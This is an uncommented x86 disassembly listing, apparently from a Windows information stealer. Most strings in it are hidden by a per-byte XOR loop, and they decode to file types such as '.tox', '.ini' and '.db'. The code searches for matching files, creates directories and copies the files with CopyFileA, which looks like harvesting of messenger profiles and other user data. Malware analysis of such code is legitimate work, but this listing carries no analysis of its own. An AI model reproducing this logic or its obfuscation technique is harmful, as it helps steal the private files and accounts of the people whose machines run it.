lea eax, [ebp - 0x4d8]
mov dword [0x55d560], ecx
push eax
lea ecx, [ebp - 0x12d4]
mov byte [ebp - 0x4d1], 0
call fcn.00402ab0
lea ecx, [ebp - 0x12d4]
mov byte [ebp - 4], 0xda
call fcn.00402b50
push eax
call fcn.00509aff
add esp, 4
lea ecx, [ebp - 0x137c]
mov edx, eax
push esi
call fcn.00486e40
add esp, 4
lea ecx, [ebp - 0x12d4]
call fcn.00402a10
lea ecx, [ebp - 0x17f4]
call fcn.00402a10
lea ecx, [ebp - 0x12ec]
mov byte [ebp - 4], 0xde
call fcn.00402a10
sub esp, 0x18
lea eax, [ebp - 0x137c]
mov ecx, esp
push eax
call fcn.00483010
push 1
xor dl, dl
lea ecx, [ebp - 0x5b4]
call fcn.00427910
add esp, 0x1c
lea ecx, [ebp - 0x5b4]
mov byte [ebp - 4], 0xdf
call fcn.00481cd0
lea ecx, [ebp - 0x5b4]
mov edi, eax
call fcn.00481cc0
mov dword [ebp - 0x1c], eax
cmp edi, eax
je 0x4575b8
mov byte [ebp - 0x14], 0
nop dword [eax]
push edi
lea ecx, [ebp - 0xac4]
call fcn.00483010
mov byte [ebp - 4], 0xe0
lea edx, [ebp - 0xac4]
push dword [ebp - 0x14]
lea ecx, [ebp - 0x1364]
call fcn.0048df50
add esp, 4
lea eax, [ebp - 0x180c]
mov byte [ebp - 4], 0xe1
push eax
lea ecx, [ebp - 0x1364]
call fcn.00404b60
lea ecx, [ebp - 0x23]
mov byte [ebp - 4], 0xe2
push ecx
lea ecx, [ebp - 0x770]
push ecx
mov ecx, eax
call fcn.004868d0
or ebx, 0x100000
lea ecx, [ebp - 0x180c]
mov byte [ebp - 4], 0xe4
call fcn.00485430
xorps xmm0, xmm0
mov dword [ebp - 0xbd], 0xf2e6fca9
movq qword [ebp - 0xb9], xmm0
xor ecx, ecx
mov word [ebp - 0xb1], 0
nop dword [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0xbd], al
inc ecx
cmp ecx, 4
jb 0x4572f0
lea eax, [ebp - 0xbd]
mov dword [0x55d5d8], ecx
push eax
lea ecx, [ebp - 0x1334]
mov byte [ebp - 0xb9], 0
call fcn.00402ab0
or ebx, 0x800000
mov byte [ebp - 4], 0xe5
lea ecx, [ebp - 0x1334]
or ebx, 0x1000
mov dword [ebp - 0x18], ebx
call fcn.00402b50
push 0
push eax
lea ecx, [ebp - 0x770]
call fcn.00482af0
cmp eax, 0xffffffff
jne 0x457448
xorps xmm0, xmm0
mov dword [ebp - 0x31], 0xe3e7e1a9
movq qword [ebp - 0x2d], xmm0
xor ecx, ecx
mov word [ebp - 0x25], 0
nop dword [eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x31], al
inc ecx
cmp ecx, 4
jb 0x457370
lea eax, [ebp - 0x31]
mov dword [0x55d5d8], ecx
push eax
lea ecx, [ebp - 0x131c]
mov byte [ebp - 0x2d], 0
call fcn.00402ab0
mov dword [ebp - 4], 0xe6
lea ecx, [ebp - 0x131c]
or ebx, 0x2000
mov dword [ebp - 0x18], ebx
call fcn.00402b50
push 0
push eax
lea ecx, [ebp - 0x770]
call fcn.00482af0
cmp eax, 0xffffffff
jne 0x457448
xorps xmm0, xmm0
mov word [ebp - 0xca], 0xeca9
mov byte [ebp - 0xc8], 0xeb
xor ecx, ecx
movq qword [ebp - 0xc7], xmm0
mov word [ebp - 0xbf], 0
nop
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0xca], al
inc ecx
cmp ecx, 3
jb 0x4573f0
lea eax, [ebp - 0xca]
mov dword [0x55d590], ecx
push eax
lea ecx, [ebp - 0x1304]
mov byte [ebp - 0xc7], 0
call fcn.00402ab0
push 0
lea ecx, [ebp - 0x1304]
or ebx, 0x4000
call fcn.00402b50
push eax
lea ecx, [ebp - 0x770]
call fcn.00482af0
mov byte [ebp - 0xf], 0
cmp eax, 0xffffffff
je 0x45744c
mov byte [ebp - 0xf], 1
test ebx, 0x4000
je 0x457465
lea ecx, [ebp - 0x1304]
and ebx, 0xffffbfff
call fcn.00402a10
test ebx, 0x2000
je 0x45747e
lea ecx, [ebp - 0x131c]
and ebx, 0xffffdfff
call fcn.00402a10
mov dword [ebp - 4], 0xe4
test ebx, 0x1000
je 0x45749e
lea ecx, [ebp - 0x1334]
and ebx, 0xffffefff
call fcn.00402a10
cmp byte [ebp - 0xf], 0
je 0x457581
xorps xmm0, xmm0
mov byte [ebp - 0x111], 0xdb
movq qword [ebp - 0x110], xmm0
xor ecx, ecx
mov word [ebp - 0x108], 0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x111], al
inc ecx
cmp ecx, 1
jb 0x4574c5
lea eax, [ebp - 0x111]
mov dword [0x55d620], ecx
push eax
lea ecx, [ebp - 0x134c]
mov byte [ebp - 0x110], 0
call fcn.00402ab0
lea ecx, [ebp - 0x134c]
mov byte [ebp - 4], 0xe7
call fcn.00402b50
push eax
lea edx, [ebp - 0x98c]
lea ecx, [ebp - 0x183c]
call fcn.00486d20
add esp, 4
lea ecx, [ebp - 0x770]
mov byte [ebp - 4], 0xe8
push ecx
mov edx, eax
lea ecx, [ebp - 0x1824]
call fcn.00486f40
add esp, 4
mov ecx, eax
call fcn.00402b50
lea ecx, [ebp - 0xac4]
mov esi, eax
call fcn.00402b50
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea ecx, [ebp - 0x1824]
mov esi, eax
call fcn.00402a10
lea ecx, [ebp - 0x183c]
call fcn.00402a10
lea ecx, [ebp - 0x134c]
call fcn.00402a10
test esi, esi
je 0x457581
mov byte [ebp - 0xe], 1
mov byte [ebp - 0xd], 1
lea ecx, [ebp - 0x770]
call fcn.00402a10
lea ecx, [ebp - 0x1364]
call fcn.00485430
lea ecx, [ebp - 0xac4]
mov byte [ebp - 4], 0xdf
call fcn.00402a10
add edi, 0x18
cmp edi, dword [ebp - 0x1c]
jne 0x457260
cmp byte [ebp - 0xe], 0
jne 0x4575ca
push 0
mov dl, 1
lea ecx, [ebp - 0x98c]
call fcn.0040dc90
add esp, 4
lea ecx, [ebp - 0x5b4]
call fcn.00485200
lea ecx, [ebp - 0x137c]
mov byte [ebp - 4], 0xd7
call fcn.00402a10
mov edi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
movaps xmm0, xmmword [0x547700]
xor ecx, ecx
mov byte [ebp - 0x4e9], 0xdb
movups xmmword [ebp - 0x4e8], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x4e9], al
inc ecx
cmp ecx, 7
jb 0x457601
lea eax, [ebp - 0x4e9]
mov dword [0x55d560], ecx
push eax
lea ecx, [ebp - 0x1394]
mov byte [ebp - 0x4e2], 0
call fcn.00402ab0
lea ecx, [ebp - 0x1394]
mov byte [ebp - 4], 0xe9
call fcn.00402b50
push eax
lea edx, [ebp - 0x3ec]
lea ecx, [ebp - 0x974]
call fcn.00486d20
add esp, 4
lea ecx, [ebp - 0x1394]
mov byte [ebp - 4], 0xeb
call fcn.00402a10
lea ecx, [ebp - 0x974]
call fcn.00402b50
push 0
push eax
call edi
test eax, eax
je 0x4579e2
movaps xmm0, xmmword [0x547c90]
xor ecx, ecx
mov word [ebp - 0x410], 0xa6db
movups xmmword [ebp - 0x40e], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x410], al
inc ecx
cmp ecx, 8
jb 0x457695
lea eax, [ebp - 0x410]
mov dword [0x55d624], ecx
push eax
lea ecx, [ebp - 0x13c4]
mov byte [ebp - 0x408], 0
call fcn.00402ab0
lea ecx, [ebp - 0x13c4]
call fcn.00402b50
push dword [ebp - 0x14]
lea ecx, [ebp - 0xadc]
mov esi, eax
call fcn.00402b60
mov ecx, esi
mov byte [ebp - 4], 0xed
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4576f0
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0xadc]
call fcn.00402b80
mov byte [ebp - 4], 0xee
xor ecx, ecx
movaps xmm0, xmmword [0x547080]
mov byte [ebp - 0x4fa], 0xc6
movups xmmword [ebp - 0x4f9], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x4fa], al
inc ecx
cmp ecx, 7
jb 0x457721
lea eax, [ebp - 0x4fa]
mov dword [0x55d560], ecx
push eax
lea ecx, [ebp - 0x13ac]
mov byte [ebp - 0x4f3], 0
call fcn.00402ab0
lea ecx, [ebp - 0x13ac]
mov byte [ebp - 4], 0xef
call fcn.00402b50
push eax
call fcn.00509aff
add esp, 4
lea ecx, [ebp - 0xadc]
mov edx, eax
push ecx
lea ecx, [ebp - 0x95c]
call fcn.00486e40
add esp, 4
lea ecx, [ebp - 0x13ac]
call fcn.00402a10
lea ecx, [ebp - 0xadc]
call fcn.00402a10
lea ecx, [ebp - 0x13c4]
mov byte [ebp - 4], 0xf3
call fcn.00402a10
lea ecx, [ebp - 0x95c]
call fcn.00402b50
mov ecx, eax
call fcn.0040dbd0
test al, al
je 0x4579c1
movaps xmm0, xmmword [0x5485c0]
xor ecx, ecx
mov dword [ebp - 0x202], 0xe9eae9db
mov word [ebp - 0x1fe], 0xf9e4
mov byte [ebp - 0x1fc], 0xe3
movups xmmword [ebp - 0x1fb], xmm0
nop dword [eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x202], al
inc ecx
cmp ecx, 0xd
jb 0x4577f0
lea eax, [ebp - 0x202]
mov dword [0x55d57c], ecx
push eax
lea ecx, [ebp - 0x13dc]
mov byte [ebp - 0x1f5], 0
call fcn.00402ab0
lea ecx, [ebp - 0x13dc]
mov byte [ebp - 4], 0xf4
call fcn.00402b50
sub esp, 0x18
lea edx, [ebp - 0x95c]
mov ecx, esp
push eax
call fcn.00486d20
add esp, 4
call fcn.0040da60
add esp, 0x18
mov byte [ebp - 4], 0xf3
lea ecx, [ebp - 0x13dc]
mov bl, al
call fcn.00402a10
test bl, bl
je 0x4579c1
movaps xmm0, xmmword [0x5485c0]
xor ecx, ecx
mov dword [ebp - 0x230], 0xe9eae9db
mov word [ebp - 0x22c], 0xf9e4
mov byte [ebp - 0x22a], 0xe3
movups xmmword [ebp - 0x229], xmm0
nop
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x230], al
inc ecx
cmp ecx, 0xd
jb 0x457890
lea eax, [ebp - 0x230]
mov dword [0x55d57c], ecx
push eax
lea ecx, [ebp - 0x140c]
mov byte [ebp - 0x223], 0
call fcn.00402ab0
lea ecx, [ebp - 0x140c]
mov byte [ebp - 4], 0xf5
call fcn.00402b50
push eax
lea edx, [ebp - 0x974]
lea ecx, [ebp - 0x186c]
call fcn.00486d20
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0xf6
call fcn.00402b50
movaps xmm0, xmmword [0x5485c0]
mov esi, eax
mov dword [ebp - 0x1eb], 0xe9eae9db
xor ecx, ecx
mov word [ebp - 0x1e7], 0xf9e4
mov byte [ebp - 0x1e5], 0xe3
movups xmmword [ebp - 0x1e4], xmm0
nop dword [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x1eb], al
inc ecx
cmp ecx, 0xd
jb 0x457920
lea eax, [ebp - 0x1eb]
mov dword [0x55d57c], ecx
push eax
lea ecx, [ebp - 0x13f4]
mov byte [ebp - 0x1de], 0
call fcn.00402ab0
lea ecx, [ebp - 0x13f4]
mov byte [ebp - 4], 0xf7
call fcn.00402b50
push eax
lea edx, [ebp - 0x95c]
lea ecx, [ebp - 0x1854]
call fcn.00486d20
add esp, 4
mov ecx, eax
call fcn.00402b50
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea ecx, [ebp - 0x1854]
mov esi, eax
call fcn.00402a10
lea ecx, [ebp - 0x13f4]
call fcn.00402a10
lea ecx, [ebp - 0x186c]
call fcn.00402a10
lea ecx, [ebp - 0x140c]
mov byte [ebp - 4], 0xf3
call fcn.00402a10
test esi, esi
je 0x4579c1
mov byte [ebp - 0xd], 1
jmp 0x4579d3
push 0
mov dl, 1
lea ecx, [ebp - 0x974]
call fcn.0040dc90
add esp, 4
lea ecx, [ebp - 0x95c]
mov byte [ebp - 4], 0xeb
call fcn.00402a10
cmp byte [ebp - 0xd], 0
jne 0x4579fa
push 0
mov dl, 1
lea ecx, [ebp - 0x3ec]
call fcn.0040dc90
add esp, 4
lea ecx, [ebp - 0x974]
call fcn.00402a10
lea ecx, [ebp - 0x98c]
call fcn.00402a10
lea ecx, [ebp - 0x144]
call fcn.00402a10
lea ecx, [ebp - 0x9a4]
call fcn.00402a10
lea ecx, [ebp - 0xa04]
call fcn.00402a10
lea ecx, [ebp - 0x9ec]
call fcn.00402a10
lea ecx, [ebp - 0x3ec]
mov dword [ebp - 4], 0xffffffff
call fcn.00402a10
cmp byte [ebp - 0x20], 0
je 0x457d7b
xorps xmm0, xmm0
mov dword [ebp - 0x3f], 0xc4d9dedb
movq qword [ebp - 0x3b], xmm0
xor ecx, ecx
mov word [ebp - 0x33], 0
nop
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x3f], al
inc ecx
cmp ecx, 4
jb 0x457a70
lea eax, [ebp - 0x3f]
mov dword [0x55d5d8], ecx
push eax
lea ecx, [ebp - 0x1424]
mov byte [ebp - 0x3b], 0
call fcn.00402ab0
lea ecx, [ebp - 0x1424]
mov dword [ebp - 4], 0xf8
call fcn.00402b50
push eax
mov edx, 0x55aafc
lea ecx, [ebp - 0x9d4]
call fcn.00486d20
add esp, 4
lea ecx, [ebp - 0x1424]
mov byte [ebp - 4], 0xfa
call fcn.00402a10
lea ecx, [ebp - 0x9d4]
call fcn.00402b50
push 0
push eax
call edi
test eax, eax
je 0x457d70
movaps xmm0, xmmword [0x549520]
xor bl, bl
movups xmmword [ebp - 0x6ce], xmm0
mov word [ebp - 0x6b6], 0
xor ecx, ecx
xorps xmm0, xmm0
movq qword [ebp - 0x6be], xmm0
nop word [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x6ce], al
inc ecx
cmp ecx, 0x10
jb 0x457b10
lea eax, [ebp - 0x6ce]
mov dword [0x55d628], ecx
push eax
lea ecx, [ebp - 0x143c]
mov byte [ebp - 0x6be], 0
call fcn.00402ab0
lea ecx, [ebp - 0x143c]
mov byte [ebp - 4], 0xfb
call fcn.00402b50
push eax
lea edx, [ebp - 0x9d4]
lea ecx, [ebp - 0x9bc]
call fcn.00486d20
add esp, 4
lea ecx, [ebp - 0x143c]
mov byte [ebp - 4], 0xfd
call fcn.00402a10
lea ecx, [ebp - 0x9bc]
call fcn.00402b50
push 0
push eax
call edi
test eax, eax
je 0x457d53
movaps xmm0, xmmword [0x549520]
xor ecx, ecx
movups xmmword [ebp - 0x73f], xmm0
mov word [ebp - 0x72f], 0xe8cb
movaps xmm0, xmmword [0x547d60]
mov byte [ebp - 0x72d], 0xeb
movups xmmword [ebp - 0x72c], xmm0
nop dword [eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x73f], al
inc ecx
cmp ecx, 0x19
jb 0x457bc0
lea eax, [ebp - 0x73f]
mov dword [0x55d638], ecx
push eax
lea ecx, [ebp - 0x146c]
mov byte [ebp - 0x726], 0
call fcn.00402ab0
lea ecx, [ebp - 0x146c]
call fcn.00402b50
push dword [ebp - 0x14]
lea ecx, [ebp - 0xaf4]
mov esi, eax
call fcn.00402b60
mov ecx, esi
mov byte [ebp - 4], 0xff
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x457c14
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0xaf4]
call fcn.00402b80
mov dword [ebp - 4], 0x100
xor ecx, ecx
movaps xmm0, xmmword [0x547080]
mov byte [ebp - 0x50b], 0xc6
movups xmmword [ebp - 0x50a], xmm0
nop dword [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x50b], al
inc ecx
cmp ecx, 7
jb 0x457c50
lea eax, [ebp - 0x50b]
mov dword [0x55d560], ecx
push eax
lea ecx, [ebp - 0x1454]
mov byte [ebp - 0x504], 0
call fcn.00402ab0
lea ecx, [ebp - 0x1454]
mov byte [ebp - 4], 1
call fcn.00402b50
push eax
call fcn.00509aff
add esp, 4
lea ecx, [ebp - 0xaf4]
mov edx, eax
push ecx
lea ecx, [ebp - 0xb0c]
call fcn.00486e40
add esp, 4
lea ecx, [ebp - 0x1454]
call fcn.00402a10
lea ecx, [ebp - 0xaf4]
call fcn.00402a10
lea ecx, [ebp - 0x146c]
mov byte [ebp - 4], 5
call fcn.00402a10
lea ecx, [ebp - 0xb0c]
call fcn.00402b50
mov ecx, eax
call fcn.0040dbd0
test al, al
je 0x457d2b
sub esp, 0x18
lea eax, [ebp - 0x9bc]
mov ecx, esp
mov dword [ebp - 0x14], esp
xor bh, bh
push eax
call fcn.00483010
sub esp, 0x18
mov byte [ebp - 4], 6
lea eax, [ebp - 0xb0c]
mov ecx, esp
push eax
call fcn.00483010
mov cl, bh
mov byte [ebp - 4], 5
call fcn.00412090
add esp, 0x30
test eax, eax
jne 0x457d2b
mov bl, 1
jmp 0x457d3d
push 0
mov dl, 1
lea ecx, [ebp - 0x9bc]
call fcn.0040dc90
add esp, 4
lea ecx, [ebp - 0xb0c]
mov dword [ebp - 4], 0xfd
call fcn.00402a10
test bl, bl
jne 0x457d65
push 0
mov dl, 1
lea ecx, [ebp - 0x9d4]
call fcn.0040dc90
add esp, 4
lea ecx, [ebp - 0x9bc]
call fcn.00402a10
lea ecx, [ebp - 0x9d4]
call fcn.00402a10
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret